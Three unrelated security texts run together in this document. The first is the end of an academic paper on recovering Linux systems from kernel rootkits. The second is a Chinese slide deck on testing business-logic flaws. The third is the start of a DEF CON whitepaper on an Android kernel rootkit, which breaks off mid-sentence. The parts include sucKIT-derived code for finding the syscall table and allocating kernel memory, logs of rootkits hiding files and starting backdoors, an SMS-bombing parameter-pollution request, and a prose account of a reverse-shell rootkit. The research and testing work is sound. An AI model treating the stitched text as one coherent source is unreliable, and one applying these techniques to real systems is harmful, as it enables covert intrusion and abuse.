ulong old80; /* Pop IDTR register from CPU */ asm("sidt %0" : "=m" (idtr)); /* Read kernel memory through /dev/kmem */ rkm(fd, &idt80, sizeof(idt80), idtr.base + 0x80 * sizeof(idt80)); /* Compute absolute offset of * system call handler for kmem */ old80 = idt80.off1 | (idt80.off2 << 16); Fig. 2. Source code to find address of system call handler implementation is a whitehat kernel-level rootkit that can be classified as a User rootkit that performs Table Redirection. Below we describe a few aspects of the implementation. In order to strip the system calls out of a Linux kernel image, we use code from the gdb debugger. The gdb debugger has the ability to parse binaries and strip out functions, which in our case are system calls. Our implementation strips all of the system calls from the given kernel image, vmlinux-2.4.18-14, and feeds them to our whitehat kernel-level rootkit, recover kkit. Our code uses Table Redirection in order to bootstrap trusted code into the running kernel. We use sucKIT’s technique to locate the address of the system call handler. Once we have the address of the system call handler, we can parse the system call handler code and locate the reference to the system call table. By replacing the reference to the system call table so that it points to a trusted system call table, trust can be re-established. The code for locating the system call table can be seen in Figure 2. The key line is the assembly instruction {asm("sidt %0" : "=m" (idtr));} This assembly instruction copies the contents of the idtr register into the idtr variable. The absolute offset of the interrupt descriptor table can be calculated to locate the interrupt descriptor table. The 0x80th entry of the interrupt descriptor table points to the system call handler. Since our implementation is a User type implementation, a tricky part of the implementation becomes allocating kernel memory. We use the same technique that the sucKIT rootkit uses. Figure 3 shows the source code used to wrap kmal- loc(), the kernel memory allocator, into a system call. In the Figure, KMALLOC is the virtual address of the kmalloc() function within kernel space. Our code first locates the current system call table by reading the reference to the current table from the system call handler. Then an unused system call, sys olduname, is taken over and replaced with a system call that we will call sys kmalloc. Now a user-space program can allocate kernel memory simply by issuing the system call sys kmalloc. Using the techniques described above, we have implemented a whitehat rootkit called recover kkit. Our implementation follows the algorithm described above. Below we discuss our tools. #define rr(n, x) ,n ((ulong) x) #define __NR_oldolduname 59 #define OURSYS __NR_oldolduname #define syscall2(__type, __name, __t1, __t2) \ __type __name(__t1 __a1, __t2 __a2) \ { \ ulong __res; \ __asm__ volatile \ ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##__name) \ rr("b", __a1) \ rr("c", __a2)); \ return (__type) __res; \ } #define __NR_KMALLOC OURSYS static inline syscall2(ulong, KMALLOC, ulong, ulong); Fig. 3. Source Code - Kmalloc as a System Call 4.3 Tools Including our whitehat rootkit, we have implemented a suite of tools that can be used to check for and recover from kernel-level rootkits. Our tools can be found on our website [14]. The read sctp tool reads the address of the current system call table and can be used to compare the actual system call addresses to the ones found in the System.map file. Our approach differs from kern check’s method in that our program looks up the actual system call table as referenced in the running system call handler. Another tool we created is called ktext. The ktext tool can be used to capture portions of kernel memory in the running kernel. We have used the ktext tool to determine a ∆ for kernel-level rootkits [5]. Other tools provide the ability to dump system call table entries to a file and write individual system call table entries to kernel memory. Finally, the recover kkit tool can be considered a whitehat kernel-level rootkit that can be used to recover from blackhat kernel-level rootkits. 5 Results on Current Generation Rootkits In order to test our whitehat kernel-level rootkit, we have selected three black- hat kernel-level rootkits to recover from. We have chosen to test knark, sucKIT, and r.tgz. These three rootkits represent kernel-level rootkits that penetrate the kernel from both user space and from a kernel module. Also, our tools are tested against both Entry Redirection and Table Redirection type rootkits. Finally, we also test our tool against r.tgz because it represents a rootkit that was captured in the wild on the Georgia Tech Honeynet. Recovering from the r.tgz demon- strates how our research can be applied to real-world scenarios. Figure 4 shows the results of our testing. [root@h1 cd]# insmod ./knark.o Warning: loading knark.o will taint the kernel: no license See http://www.tux.org/lkml/#export- tainted for information about tainted modules Module knark loaded, with warnings [root@h1 cd]# ./hidef /bin/rootme hidef.c by Creed @ #hack.se 1999 <creed @sekure.net> Port to 2.4 by Cyberwinds #Irc.openprojects.net 2001 [root@h1 cd]# ./ls /bin/root* ls: /bin/root*: No such file or directory [root@h1 cd]# ./recover kkit Trust has been Re-established! [root@h1 cd]# ./ls /bin/root* /bin/rootme (a) Recovering from knark [root@h2 cd]# ./sk /dev/null RK Init: idt=0xc037d000, sct[]=0xc0302c30, kmalloc()=0xc0134fa0, gfp=0x0 Z Init: Allocating kernel-code memory... Done, 12747 bytes, base=0xc8090000 BD Init: Starting backdoor daemon... Done, pid=1435 [root@h2 cd]# ./ls /sbin/init* /sbin/init /sbin/initlog [root@h2 cd]# ./recover kkit Trust has been Re-established! [root@h2 cd]# ./ls /sbin/init* /sbin/init /sbin/initlog /sbin/initsk12 (b) Recovering from sucKIT [root@h3 cd]# ./all [===== INKIT version 1.3a, Aug 20 2002 <http://www.usg.org.uk> =====] [====== (c)oded by Inkubus [email protected]> Anno Domini, 2002 ======] RK Init: idt=0xc027a000, sct[]=0xc0248928, kmalloc()=0xc0121b88, gfp=0x15 Z Init: Allocating kernel-code memory...Done, 13147 bytes, base=0xc9498000 BD Init: Starting backdoor daemon...Done, pid=1213 [root@h3 cd]# ./ps -p 1213 PID TTY TIME CMD [root@h3 www]# ./recover kkit Trust has been Re-established! [root@h3 cd]# ./ps -p 1213 PID TTY TIME CMD 1213 ? 00:00:00 all (c) Recovering from r.tgz Fig. 4. Testing recover kkit Tool on Three Kernel-Level Rootkits 5.1 Recovering from knark In our first scenario, we have installed knark on a Red Hat 8.0 system with a Linux 2.4.18 kernel. The results can be seen in Figure 4(a). The first step is to install knark. Since knark is loaded as a kernel module, we insert knark with the insmod command. The kernel prints a message warning that knark.o does not have an agreeable license. The second step is to hide a binary, which we have placed in the /bin directory, called rootme. The rootme binary is part of the knark rootkit and is used to execute binaries with root-level permissions from a regular user account. The hidef utility is part of the knark rootkit and is used to hide utilities. In the third step, we list files in the /bin directory that begin with root. No files are shown indicating that our system cannot be trusted. The fourth step is to install our trusted system call table with our tool recover kkit. We use a read-only cdrom to run our tools. Now notice that upon listing files again, the file rootme is seen. Trust has been re-established in the compromised host. 5.2 Recovering from sucKIT In our second scenario, we have installed sucKIT on a Red Hat 8.0 system. The results can be seen in Figure 4(b). The steps are similar to that of knark. We install the rootkit, show that some files are hidden when running the ls utility, restore trust, and finally show that the hidden files appear. The sucKIT rootkit hides files that have a certain extension, in our case “sk12”. The initsk12 file is used in coordination with the init file to load sucKIT upon a reboot. Trust has been re-established in a system that has been compromised with a kernel-level rootkit that performs Table Redirection. 5.3 Recovering from r.tgz In our third scenario, we have installed r.tgz on a Red Hat 6.2 system. The results can be seen in Figure 4(c). This rootkit is an example of a real-world scenario. In our scenario, an attacker has compromised the system and starts a Trojan process with the all utility. The all utility is part of the r.tgz rootkit. Initially, the process is hidden, as seen by the first ps execution. Then, we install our trusted system call table and issue the ps command again. You can see that this time the hidden process shows up. We have successfully re-established trust in a compromised host that was compromised in the wild. 6 Future Generation Rootkits and Recovery 6.1 Possible Penetration Techniques We have discussed current generation rootkit kernel penetration techniques in Section 3.1. In this section, we discuss kernel penetration techniques that we have not seen in current rootkits while studying existing rootkits. Based on our experience, we speculate that future generation rootkits may use these techniques as more security features are added to kernels to prevent current generation rootkits (i.e. do not allow module loading or access via /dev/mem). Some of these techniques have been discussed in hacker communities; perhaps the techniques are already in use, but we have not seen any evidence to sustain such claims. – DMA — These type of kernel-level rootkits could patch running kernel code with malicious code by programming an attached hardware device to use direct memory access (DMA) to modify kernel code. The concept was intro- duced in [15], but we have not seen any implementations. – Swapped-out Pages — With root-level access, the attacker has raw access attached hard disks. Memory pages are swapped to the hard disk when memory becomes full. An attacker could use raw hard disk I/O to modify swapped out pages in order to penetrate the kernel. Normally the kernel code is never swapped to the disk, but an attacker could use indirect means to penetrate the kernel through swapped out pages. – Local Image — The kernel image resides as a binary file on the file system. The attacker can modify the kernel image on disk and replace trusted code with trojaned code. The next time the system is rebooted, the trojaned kernel image will be loaded into memory, thus accomplishing the attacker’s goal without modifying the running kernel. – Distributed Image — The beginning of the chain of trust starts at the source code and binary distributors. An attacker could compromise a kernel image before it is ever installed on the system (i.e. replace code or binary files with trojans before the kernel is distributed). As Thompson points out, one must “trust the people who wrote the software,” or in this case trust the people who distribute the kernel [16]. 6.2 Kernel Targets for Kernel-Level Rootkits The first kernel-level rootkits developed have focused on trojaning the system call table. The system call table is the gateway from user space to kernel space, and so is a natural target and easily trojaned. Tools are being developed to detect and counter these types of rootkits including our tools that allow recovery from a certain class of kernel-level rootkits. As such developments continue, the arms race is escalated. Attackers will continue to develop new means of trojaning the kernel. Below we outline such targets for kernel-level rootkits. – System Call Table and Interrupts — Section 3 gives an extensive discussion of how the system call table is trojaned. Many widely examined rootkits use this means of trojan when targeting the kernel. The interrupt subsystem is a general target of the kernel as interrupts are often serviced on behalf of processes. – Redirecting Core Kernel Functionality — Core kernel functionality is a tar- get of kernel-level rootkits. Examples include the scheduler, process handler, authorization mechanisms, and the virtual file system mechanisms. The lat- est adore rootkit, adore-ng, targets the virtual file system [17]. – Redirecting Extremity Functionality — Extremity functionality includes sub- systems of the kernel such as the network drivers, hard disk controllers, network stack, and so forth. For example, a rootkit may want to modify the network stack so that the kernel listens for incoming requests from the attacker, unbeknownst to the system administrator. – Modifying Kernel Data Structures — Finally, the attacker may modify the kernel data structures in addition or instead of modifying the kernel code. For example, a kernel module can be hidden from the lsmod command by re- moving it from the linked list that contains currently loaded kernel modules. This specific technique is already in use today. 6.3 Using a Trusted Immutable Kernel Extension for Recovery Our algorithm described in Section 4 works well for recovering from system call table modifications but relies on one assumption that must be addressed. The algorithm assumes that a core level of trust remains intact in the system that would allow our program to function as expected. As long as the rootkit instal- lation is well understood and known to be in accordance with our assumption, the method is valid. However, we also address the case in which the full extent of the rootkit is unknown. Our solution to this problem is a Trusted Immutable Kernel Extension (TIKE) as introduced in [18]. TIKE is an enabling extension that can be used to ensure a trusted path exists within the system even if a kernel-level rootkit is installed. One approach to building TIKE is through virtualization. The production guest system is isolated from the host operating system. The production system may be attacked, but we assume the host operating system is inaccessible from the guest operating system. Therefore, our recovery algorithm can be carried out on the host system, with some modifications, in order to incontestably re-establish trust in the compromised system. Techniques similar to our recovery method for system call tables can be used for many classes of future generation kernel-level rootkits. Our approach is summarized as follows: For the given kernel function redirection, copy a known good function from a known good kernel image and redirect the running kernel function to the known good function. Furthermore, since the level of trust that is broken may be unknown, the recovery should take place through a mechanism such as TIKE. The technique must be applied to the entire chain of trust in order to be certain that trust has been restored. This technique does not cover all possibilities, but does work for a given class of compromises. For example, rootkits that modify kernel data structures are more difficult to recover from. 7 Conclusions and Future Work We have studied how trust can be broken in a system, specifically when a kernel- level rootkit is installed. We have applied a methodology to characterize current generation kernel-level rootkits in order to determine how to recover from them. Kernel-level rootkits can be classified in terms of their Penetration method and in terms of their system call table Modification method. Modern kernel-level rootkits can Penetrate the kernel from user space and use Table Redirection in order to install a trojaned system call table. After providing an understanding of kernel-level rootkits, we introduced tools that can be used to recover from kernel-level rootkits. Our tool strips a known good system call table from the provided kernel image and bootstraps the trusted system call table into the running kernel. We then looked at future genera- tion rootkits, further strengthened our algorithm with TIKE, and introduced a methodology to recover from future generation rootkits. We have begun to explore the notion of re-establishing trust in compro- mised systems. We have shown that trust can be restored to a system, even if a kernel-level rootkit has been installed. Continued work will include applying our algorithm to more real-world compromises on the Georgia Tech honeynet to help validate the approach. We will also extend our work to cover more than just the system call table towards the entire system in order to establish techniques for self-healing computer systems. Our current work has focused on the Linux operating system, but future work will look into how our methods can be applied to other widely used operating systems. References 1. Levine, J., Culver, B., Owen, H.: A methodology for detecting new binary rootkit exploits. In: Proceedings IEEE SoutheastCon 2003, (Ocho Rios, Jamaica) 2. : Georgia Tech honeynet research project. http://users.ece.gatech.edu/~owen/ Research/HoneyNet/HoneyNet_home.htm (2004) 3. Thimbleby, H., Anderson, S., Cairns, P.: A framework for modelling trojans and computer virus infection. The Computer Journal 41 (1998) 445–458 4. Levine, J., Grizzard, J., Owen, H.: A methodology to detect and characterize kernel level rootkit exploits involving redirection of the system call table. In: Proceedings of Second IEEE International Information Assurance Workshop, IEEE (2004) 107– 125 5. Levine, J.G., Grizzard, J.B., Owen, H.L.: A methodology to characterize kernel level rootkit exploits that overwrite the system call table. In: Proceedings of IEEE SoutheastCon, IEEE (2004) 25–31 6. : Trojan horse programs and rootkits. Technical Report 08/03, National Infras- tructure Security Co-Ordination Centre (2003) 7. Kim, G.H., Spafford, E.H.: The design and implementation of tripwire: A file system integrity checker. In: ACM Conference on Computer and Communications Security. (1994) 18–29 8. : The chkrootkit website. http://www.chkrootkit.org/ (2004) 9. : kern check.c. http://la-samhna.de/library/kern_check.c (2003) 10. kad (pseudo): Handling interrupt descriptor table for fun and profit, issue 59, article 4. http://www.phrack.org (2002) 11. : WWJH.NET. http://wwjh.net (2003) 12. Bovet, D., Cesati, M.: Understanding the Linux Kernel. O’Reilly&Associates, Sebastopol, CA (2003) 13. Levine, J.G., Grizzard, J.B., Owen, H.L.: Application of a methodology to charac- terize rootkits retrieved from honeynets. In: Proceedings of 5th IEEE Information Assurance Workshop. (2004) 15–21 14. : Re-establishing trust tools. http://users.ece.gatech.edu/~owen/Research/ trust_tools/trust_tools.htm (2003) 15. sd (pseudo), devik (pseudo): Linux on-the-fly kernel patching without lkm, issue 58, article 7. http://www.phrack.org (2001) 16. Thompson, K.: Reflections on trusting trust. Commun. ACM 27 (1984) 761–763 17. Labs, S.: Subverting the kernel. http://la-samhna.de/library/rootkits/ basics.html (2004) 18. Grizzard, J.B., Levine, J.G., Owen, H.L.: Toward a trusted immutable kernel exten- sion (TIKE) for self-healing systems: a virtual machine approach. In: Proceedings of 5th IEEE Information Assurance Workshop. (2004) 444–445
pdf
陆柏廷 | BT 漏洞盒子 高级安全研究员 漏洞盒子简介 漏洞盒子 互联网安全服 务平台 FreeBuf 互联网安全新 媒体 网藤风险感知 基于SaaS模式的自 动化企业安全风险 感知服务平台 自有安全团队与外部 安全专家结合,共同 为厂商提供安全一体 化解决方案 安全专家 相关机构 厂商  厂商:金融、保险、电商、互联网、通信等  相关机构:CNCERT、CNNVD、 SERCIS、 SHCERT、公安部第三研究所、中国民航测评中心、 天津网安等 演讲提纲 前 言 场 景 方 法 企业安全测试进化史 1.0 2.0 3.0 基于功能/ 性能的”安 全测试” 基于漏洞类 型的安全测 试 基于业务场 景的安全测 试 何为业务场景 其他场景 支付场景 ¥ 实名认证场景 购物及订单场景 活动场景 身份认证场景 一个业务系统包含的交互场景 业务逻辑漏洞是怎样的存在  Bypass一切防护设备  至今还没有一款有效的全自动化工具  再资深的程序员都可能造坑  即使安全人员开发的程序也可能有坑 开发人员VS安全人员 身份盗取 交易篡改 权限跨越 资源消耗 一个对外业务可能面临哪些业务风险? 身份盗取|迷失的穿云箭 digiSign 身份盗取|简单认证 身份盗取|最后一公里 权限跨越|垂直水平 Cookie: SESSION=USER-334dsf9ref8esg8erg390g Cookie: SESSION=USER-3dfg34768jh4h234g5h5jk Cookie: SESSION=USER-304jkh6g9090ertk45g0s9 Cookie: SESSION=USER-2dfg34768jh4h234g5h5jk Cookie: SESSION=USER-1dfg34768jh4h234g5h5jk 客户端 服务端 操作userId的资源 返回执行结果 Cookie: SESSION=USER-334dsf9ref8esg8erg390g userId=519235 用户检查: session=34dsf9ref8esg8erg390g 权限检测: level=3 level=1:admin level=2:vip user level=3:normal user 权限跨越|垂直水平 权限跨越|签名突破 客户端 服务端 预查询联系人ID 返回联系人ID 查询联系人ID详情 返回联系人详情 SIGNED SIGNED 篡改此处ID 权限跨越|签名突破 交易篡改|签名破解 将订单中的v_amount,v_moneytype,v_oid,v_mid,v_url参数的value值拼成一个无间隔的 字符串,使用key作为salt即生成任意伪造数据签名 交易篡改|局部验证 资源消耗|变量覆盖 GET /sms/sendVerifySms/?phoneNumber=18666666666&prefix=R&type=phoneNumber HTTP/1.1 GET /sms/sendVerifySms/?phoneNumber=18666666666&phoneNumber=18666666666&prefix=R&type=phone Number HTTP/1.1 GET /sms/sendVerifySms/?phoneNumber=18666666666&phoneNumber=§variable§&prefix=R&type=phoneNumber HTTP/1.1 资源消耗|并发请求 客户端 服务端 获取优惠券 返回执行结果 是否已获取该优惠券 返回执行结果 数据库 资源消耗|并发请求 资源消耗|薅羊毛  花8000万做推广,3000万被羊毛党薅走  需要什么给什么,只要收益大于付出 防治  提高门槛:用户流失  后期检测:成本高、误差大 如何高效测试  业务场景建模  业务流程梳理  风险点识别 业务场景建模-1 不同行业业务场景有所异同 如:银行、金融、保险、证券、电商、020、游戏、社交、招聘、航空 白盒:开发文档 黑盒:主动识别 业务场景建模-1|电商 红包/优惠 券相关 个人信息 相关 业务接口 调用 实名认证 身份认证 支付相关 订单相关 绑定银行卡 电商业务 场景建模 业务场景建模-1|P2P金融 借款/贷款 个人信息 相关 活动相关 绑定银行卡 实名认证 身份认证 支付相关 交易信息 P2P金融业务 场景建模 业务场景建模-1|游戏 游戏角色 相关 个人信息 相关 业务接口 调用 活动抽奖 相关 社交相关 身份认证 游戏点卡 充值 实名身份证 登记 游戏业务 场景建模 业务场景建模-1|银行 借款/贷款 个人信息 相关 转账/取款 U盾相关 客户端相关 身份认证 支付相关 交易信息 银行业务 场景建模 业务场景建模-2  相同行业,即使是相同业务系统,业务场景也不是一成不变的  高风险业务场景识别  需求沟通 业务场景建模-2 | Plan-A 红包/优惠 券相关 个人信息 相关 业务接口 调用 绑定银行卡 实名认证 身份认证 支付相关 订单相关 电商业务 场景建模 业务场景建模-2 | Plan-B 活动相关 实物卡充值 业务接口 调用 社交帐号 绑定 实名认证 身份认证 支付相关 用户敏感 信息操作 电商业务 场景建模 业务场景建模-2 | Plan-C 红包/优惠 券相关 个人信息 相关 社交相关 手机/邮箱 绑定 实名认证 身份认证 支付相关 投诉/留言 管理 代付相关 商城业务 场景建模 业务流程梳理  识别业务逻辑  应用层数据包梳理  字段功能辨析 密码重置 客户端 服务端 输入用户名 验证用户名存在后返回第二步 Step 1 Step 2 Step 3 Step 4 输入短信验证码 验证短信验证码后返回第四步 输入新密码 密码修改成功 发送短信验证码请求 发送验证码后返回第三步 订单查询 客户端 服务端 预查询订单ID 返回用户订单ID 查询用户订单ID详情 返回订单详情 支付交易 客户端 服务端 提交订单相关信息 返回生成的订单 支付订单 返回支付结果 风险点识别  已知风险对照  STRIDE分析方法 风险点识别 密码重置 客户端 服务端 输入用户名 验证用户名存在后返回第二步 Step 1 Step 2 Step 3 Step 4 发送短信验证码请求 发送验证码后返回第三步 输入短信验证码 验证短信验证码后返回第四步 输入新密码 密码修改成功 遍历用户名 篡改响应包 篡改手机号 获取验证码 爆破验证码 篡改响应包 爆破验证码 篡改响应包 订单查询 客户端 服务端 预查询订单ID 返回用户订单ID 查询用户订单ID详情 返回订单详情 篡改直接对象 篡改权限标识 SESSION破解 篡改直接对象 篡改直接对象 篡改权限标识 SESSION破解 获取敏感数据 支付交易 客户端 服务端 提交订单相关信息 返回生成的订单 支付订单 返回支付结果 篡改金额 篡改数额 签名破解 篡改金额 获取敏感数据 篡改金额 签名破解 获取敏感数据 The STRIDE Threat Model  Spoofing identity  Tampering with data  Repudiation 业务流程元素 假冒(S) 篡改(T) 否认(R) 信息泄漏(I) 拒绝服务(D) 提升权限(E) 信息流 数据储存 操作 交互方  Information disclosure  Denial of service  Elevation of privilege www.vulbox.com | 漏洞盒子 crs.vulbox.com | 网藤风险感知 www.freebuf.com | FreeBuf THANKS
pdf
Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 This is not the droid you're looking for... Christian Papathanasiou Nicholas J. Percoco June 21st, 2010 Trustwave - 2 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 Table of Contents 1   EXECUTIVE SUMMARY............................................................................................ 3 1.1 About the authors.................................................................................................. 4 2   INTRODUCTION TO GOOGLE ANDROID ................................................................. 5 3   MOTIVATIONS BEHIND THIS WORK ...................................................................... 7 4   LINUX KERNEL ROOTKITS...................................................................................... 9 4.1 Hurdles we faced when developing the Android rootkit........................................... 11 4.1.1   Retrieving the sys_call_table address ......................................................... 11 4.1.2   Compiling against the HTC Legend Linux kernel source code........................ 12 4.1.3   Enabling system call debugging ................................................................. 14 5   THE ANDROID ROOTKIT....................................................................................... 18 5.1 sys_read system call hooking ............................................................................... 18 5.2 Hiding from the user and from the OS................................................................... 19 5.3 Implications ........................................................................................................ 20 6   CONCLUSIONS...................................................................................................... 22 7   REFERENCES......................................................................................................... 23 Trustwave - 3 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 1 Executive Summary Android is a software stack for mobile devices that includes an operating system, middleware and key applications and uses a modified version of the Linux kernel. In 2010 around 60,000 cell phones running the Android operating system are shipping every day. Android platform ranks as the fourth most popular smartphone device-platform in the United States as of February 2010. As more and more device manufacture adopt the Android platform this market share is likely to grow and start to rival that belonging to other top players. To date, very little has been discussed regarding rootkits on mobile devices. Android forms a perfect platform for further investigation and research due to its use of the Linux kernel. The kernel is part of the almost 20-year open-source operating system whose source code is available to anyone. In addition, there exists a very established body of knowledge regarding kernel-level rootkits in Linux. As part of this research, we have developed a kernel-level Android rootkit in the form of a loadable kernel module. As a proof of concept, it is able to send an attacker a reverse TCP over 3G/WiFI shell upon receiving an incoming call from a ‘trigger number’. This ultimately results in full root access on the Android device. The implications of this are huge; an attacker can proceed to read all SMS messages on the device/incur the owner with long-distance costs, even potentially pin-point the mobile devices’ exact GPS location. Such a rootkit could be delivered over-the-air or installed alongside a rogue app. This whitepaper aims to take the reader down this path of development, describing how the PoC was written and laying the foundations for our research to be taken further and in-turn result in the development of controls to mitigate against such an attack. Trustwave - 4 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 1.1 About the authors Nicholas J. Percoco is the head of SpiderLabs at Trustwave - the advanced security team that has performed more than 750 cyber forensic investigations globally, thousands of penetration and application security tests for Trustwave clients. In addition, his team is responsible for the security research that feeds directly into Trustwave's products through real-time intelligence gathering. He has more than 15 years of information security experience. Nicholas acts as the lead security advisor to many of Trustwave's premier clients by assisting them in making strategic decisions around various security and compliance regimes. As a speaker, he has provided unique insight around security breaches and security trends to public and private audiences throughout North America, South America, Europe, and Asia including security conferences such as Black Hat, DEFCON, SecTor and You Sh0t the Sheriff. Prior to Trustwave, Nicholas ran security consulting practices at both VeriSign and Internet Security Systems. Nicholas holds a Bachelor of Science in Computer Science from Illinois State University. Christian Papathanasiou is a Security Consultant for Trustwave. He is part of SpiderLabs - the advanced security team at Trustwave responsible for incident response, penetration testing and application security tests for Trustwave’s clients. Christian’s research interests include Linux kernel rootkit/anti-rootkit technology, algorithmic trading and web application security. He has consulted internationally in the space/defense/commercial and financial sectors in all matters relating to Information Security. Christian has presented at various European Information Security conferences such as AthCon and Black Hat Europe. Christian holds an MSc with Distinction in Information Security from the Information Security Group at Royal Holloway, University of London and a CISSP. Christian is also a qualified Chemical Engineer having graduated with a MEng(Hons) in Chemical Engineering from the University of Manchester Institute of Science and Technology. Trustwave - 5 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 2 Introduction to Google Android Android is a software stack for mobile devices that includes an operating system, middleware and key applications and uses a modified version of the Linux kernel. Right now around 60,000 cell phones running the Android operating system are shipping every day. Android platform ranks as the fourth most popular smartphone device-platform in the United States as of February 2010. As more and more device manufacture adopt this platform Android’s market share is likely to grow and start to rival that belonging to other top players. The Android architecture is comprised of multiple layers, a brief synopsis of which can be seen in figure 1.0. Figure 1.0 From Google (1) depicting the Google Android architecture and assorted subsystems. Trustwave - 6 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 At the very foundation of the Android platform lies the Linux 2.6.x kernel. This serves as a hardware abstraction layer and offers an existing memory management, process management, security and networking model on top of which the rest of the Android platform was built upon. The Linux kernel is where our rootkit will lie; this will be discussed later in the whitepaper. On top of the Linux kernel lie the native libraries. These provide most of the functionality of the Android system. Of interest here from a rootkit perspective are the SQLite, Webkit and SSL libraries. In the case of SQLite, it is the main storage/retrieval mechanism used by Android for such things such as call records and inbound/outbound SMS and MMS storage. Webkit is an open source library designed to allow web browsers to render web pages. Finally SSL is used for all crypto requirements. These three are interesting from a subversion perspective as retrieving SMS/MMS messages or intercepting browsing or by hooking the pseudo random number generator (PRNG) subsystem of the SSL library with static low numbers can all result in a loss of confidentiality and integrity. The main component of the Android runtime is the Dalvik VM. According to Wikipedia (2) “Dalvik is the virtual machine on Android mobile devices. It runs applications which have been converted into a compact Dalvik Executable (.dex) format suitable for systems that are constrained in terms of memory and processor speed.” Moving on to the application framework, at the higher operating system layers we have the user applications that your average user interacts with on their mobile phone. These include everyday apps such as the phone application, the home application and others that come with the phone, are downloaded from the Google Android Market, or installed by the end-user. What must be kept in mind from figure 1.0 is that all top layer applications utilize the Linux kernel for their I/O with the underlying hardware at one stage or another. Therefore by hijacking the Linux kernel we have in effect hijacked all higher layer applications and can modify phone behavior at will. It is important to note that complete abstraction of the platform’s kernel from the end-user is both an advantage from a usability standpoint, especially within a consumer device, and a disadvantage from security awareness standpoint. A process operating below the application framework layer behaving modestly can completely subvert the attention of the user fairly easily. Even a process which causes performance issues, will still subvert the attention to nothing more than an Android “bug”. Trustwave - 7 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 3 Motivations behind this work According to the Mobile Internet Report (3) published by Morgan Stanley, by 2020, there will be approximately 10 Billion mobile devices. This in effect means that over the next 10 years we will witness explosive permeation of mobile-internet enabled handsets with social networking and VoIP serving as key drivers for this growth. As of Q4 2009, 2.xG cellular networks have ubiquitous coverage of 90% of the global population with 4B+ subscribers on various cellular networks. At the time of the Morgan Stanley research report, there were 485M subscribers on 3G networks primarily concentrated in developed/western markets. Emerging market penetration is still low. However as socio-economic factors improve, and due to the social status that smartphones carry or are perceived to carry this figure is likely to explode over the next couple of years as well. 60% of users carry their phones with them at all times, even when at home. When you look at just the population of users in the business world, this number is likely closer to 100%. Such locations could also include the boardroom; a chief executive is more likely to take his mobile to a meeting then he is his laptop for instance. Many high profile and busy individuals likely sleep with their phone. Your typical smartphone today has the processing power of your average PC 8 years ago but also goes much further then that; it provides always-online functionality through 3G connectivity and is location aware through GPS synchronization. With the rapid uptake of mobile banking and the slow shift to more standardized platforms, financial institutions are offering their clients services such as performing fund transfers while travelling, receiving online updates of stock price movements or even trading while stuck in traffic. Therefore, the necessity to trust the mobile device on which you are inputting your banking information is quickly becoming a growing concern. One would be hard pressed to find a user (even in the information security community) that would think twice before reading or accessing sensitive information via their smartphones, while those same individuals might not perform the same activity from a public computer or kiosk. These facts make smartphones very interesting targets for malware authors and not only. According to Stephen Gleave (4) “For years, communication service providers (CSPs) wanting an operating license have had to meet set conditions. One such condition is that they must work with law enforcement to gather intelligence that may be used as evidence in the prosecution of criminals. Governments around the world have passed legislation that mandates this co-operation and have continually strived to update these statutes as technology advances and criminal communications become more sophisticated”. Trustwave - 8 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 This was recently seen in the Etisalat and SS8 case as reported by BBC News (5) whereby a supposed performance update was pushed to all Blackberry Etisalat subscribers in the United Arab Emirates. In reality, this was a piece of malware written by the US Company- SS8, which according to their website is “a leader in communications intercept and a worldwide provider of regulatory compliant, electronic intercept and surveillance solutions”. We too will be approaching this topic from the perspective of an operator wishing to perform surveillance of deployed Android handsets in order to satisfy regional (un?)lawful-interception directives such as in the case of Etisalat. Hopefully, what we will accomplish, however, will be performed in a more elegant and stealthy fashion. To perform the below attacks as an attacker pre-supposes that a vector exists which can be exploited in order to obtain root access on the Android device and subsequently load the rootkit. Whilst work has been done by other researchers towards this avenue of attack, specifically by sending malformed SMS messages by Charlie Miller and Collin Mulliner (6) this is not something we will be covering further in this paper. We pre-suppose that such a vector exists, waiting to be discovered, or that a mobile operator deploys the rootkit pre-packaged with all shipped Android phones they sell just waiting to be activated. Finally, we chose Android, not because we have a bone to pick with Google, but because it utilizes the Linux operating system on which there exists a very established body of knowledge regarding kernel-based rootkit creation. Extrapolating this knowledge to the Android platform is what we will now discuss but consider the reader of this whitepaper to be familiar with offensive Linux kernel module development. Trustwave - 9 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 4 Linux kernel rootkits According to Dino Dai Zovi (7) “Loadable Kernel Modules (LKMs) allow the running operating system kernel to be extended dynamically. Most modern UNIX-like systems, including Solaris, Linux, and FreeBSD, use or support loadable kernel modules which offer more flexibility than the traditional method of recompiling the monolithic kernel to add new hardware support or functionality; new drivers or functionality can be loaded at any time. A loaded kernel module has the same capabilities as code compiled into the kernel. Most modern processors support running in several privilege modes. Most processors support two modes, user mode and supervisor mode. Some processors, such as Intel 386 or greater processors, support more modes (although most operating systems only use two of them). User processes (even processes running as the superuser) run in user mode while only kernel routines run in supervisor mode. The mode distinction allows the operating system to force user processes to access hardware resources only through the operating system’s interfaces.The mode distinction is very important in the operating system’s virtual memory, multitasking, and hardware access subsystems. The method by which a user mode process requests service from the operating system is the system call. System calls are used for file operations (open, read, write, close), process operations (fork, exec), network operations (socket, connect, bind, listen, accept), and many other low-level system operations. System calls are typically listed in /usr/include/sys/syscall.h in Linux. In the kernel, the system calls are typically stored in a table, called the sys_call_table (an array of pointers) indexed by the system call number. When a process initiates a system call, it places the number of the desired system call in a global register or on the stack and initiates a processor interrupt or trap (depending on the processor architecture)”. Again from Dino Dai Zovi (7), “Rootkits” are software packages installed to allow a system intruder to keep privileged access. Traditional rootkits typically replace system binaries like ls, ps, and netstat to hide the attacker’s files, processes, and connections, respectively. These rootkits were easily detected by checking the integrity of system binaries against known good copies (from vendor media) or checksums (from RPM database or a File Integrity Monitoring (FIM) utility). Kernel rootkits do not replace system binaries; they subvert them through the kernel. For example, ps may get process information from /proc (procfs). A kernel rootkit may subvert the kernel to hide specific processes from procfs so ps or even a known good copy from vendor media will report false information. In addition, a malicious 